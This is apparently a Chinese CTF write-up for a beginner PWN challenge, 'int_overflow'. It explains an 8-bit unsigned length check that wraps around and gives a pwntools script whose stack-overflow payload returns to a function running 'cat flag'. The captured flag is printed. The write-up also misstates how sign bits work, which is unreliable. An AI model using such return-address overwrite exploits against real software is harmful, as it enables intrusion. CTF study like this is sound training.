攻防世界-wp-PWN-新手区-8-int_overflow

题目描述:

菜鸡感觉这题似乎没有办法溢出,真的么?

题目场景

111.200.241.244:44057

题目附件:

51ed19eacdea43e3bd67217d08eb8a0e

题目思路:

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数。unsigned short int类型占用2字节,取值范围0~65535。

解题过程:

对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,使用的数据仅为最后2个字节,溢出的部分则直接忽略。

dec165537
bin11 0000 0000 0000 0001
1位1位+1字节+8位

对于unsigned short int类型的两个变量var1、var2,假定取值var1 = 1,var2 = 65537,因此会出现var1=var2的情况。

#include <stdio.h>
int main(){ 
    unsigned short int var1 = 1, var2 = 65537;
    if (var1 == var2){ 
        printf("溢出");
    } 
    return 0;
} 
//结果:溢出

回到题目,我们首先checksec一下,发现是32位小端序,保护开启了NX,没有Stack和PIE

载入IDA,F5反编译得到伪C代码,在main函数中,没有任何可疑的,进入login函数:

int login(){
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

接受了一个最大长度为0x199(409)的buf,进入check_passwd函数:

char *__cdecl check_passwd(char *passwds){
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]
  v3 = strlen(passwds);
  if ( v3 <= 3u || v3 > 8u ){
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else{
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, passwds);
  }
  return result;
}

用一个一字节8位的变量v3存储passwds(buf)的长度,最后存在一个字符串拷贝,拷贝目的地在栈中,长度为0x14(20)。

-00000018 ; D/A/*   : change type (data/ascii/array)
-00000018 ; N       : rename
-00000018 ; U       : undefine
-00000018 ; Use data definition commands to create local variables and function arguments.
-00000018 ; Two special fields " r" and " s" represent return address and saved registers.
-00000018 ; Frame size: 18; Saved regs: 4; Purge: 0
-00000018 ;
......
-00000014 dest            db ?
......
-00000009 var_9           db ?
......
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 passwds         dd ?                    ; offset
+0000000C
+0000000C ; end of stack variables

在字符串拷贝过程中,输入0x14(20)个字符之后,就可以覆盖函数返回地址了,但是限制输入长度在3-8之间,但是由于是unsigned类型,只保留最后2字节,而且由于buf<0x199(409),所以也只能是0x14位覆盖到完栈+4位覆盖s+4位返回地址+一个随机数在259~264之间。

dec38259264771>409
bin001110001 0000 00111 0000 100011 0000 0011

shift+f12查看字符串,发现cat flag字符串,双击进去x键跟踪一下,tab+空格切换视图,查看调用得到what_is_this地址0x0804868B。

.text:0804868B                 public what_is_this
.text:0804868B what_is_this    proc near
.text:0804868B ; __unwind {
.text:0804868B                 push    ebp
.text:0804868C                 mov     ebp, esp
.text:0804868E                 sub     esp, 8
.text:08048691                 sub     esp, 0Ch
.text:08048694                 push    offset command  ; "cat flag"
.text:08048699                 call    _system
.text:0804869E                 add     esp, 10h
.text:080486A1                 nop
.text:080486A2                 leave
.text:080486A3                 retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this    endp

脚本,其中payload中每部分位置是根据栈结构而来,最后一部分若删除,则不通过3<v3<8:

from pwn import *
import random
io = remote("111.200.241.244",44057)
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "Scorpio_m7")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "a"*4 + p32(cat_flag_addr)+"a"*random.randint(231,235)#0x14(20)+4*a+r(4)+(231~235)*a=259~264
io.sendline(payload)
io.recv()
io.interactive()

cyberpeace{fbac44e615408e63bd35f714a21ce50c}

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Scorpio-m7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值